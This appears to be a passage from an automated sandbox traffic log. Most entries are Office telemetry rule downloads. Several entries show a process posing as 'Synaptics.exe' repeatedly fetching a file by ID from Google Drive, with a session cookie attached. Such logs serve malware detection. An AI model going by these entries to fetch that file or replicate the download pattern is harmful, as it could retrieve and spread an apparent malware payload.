Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
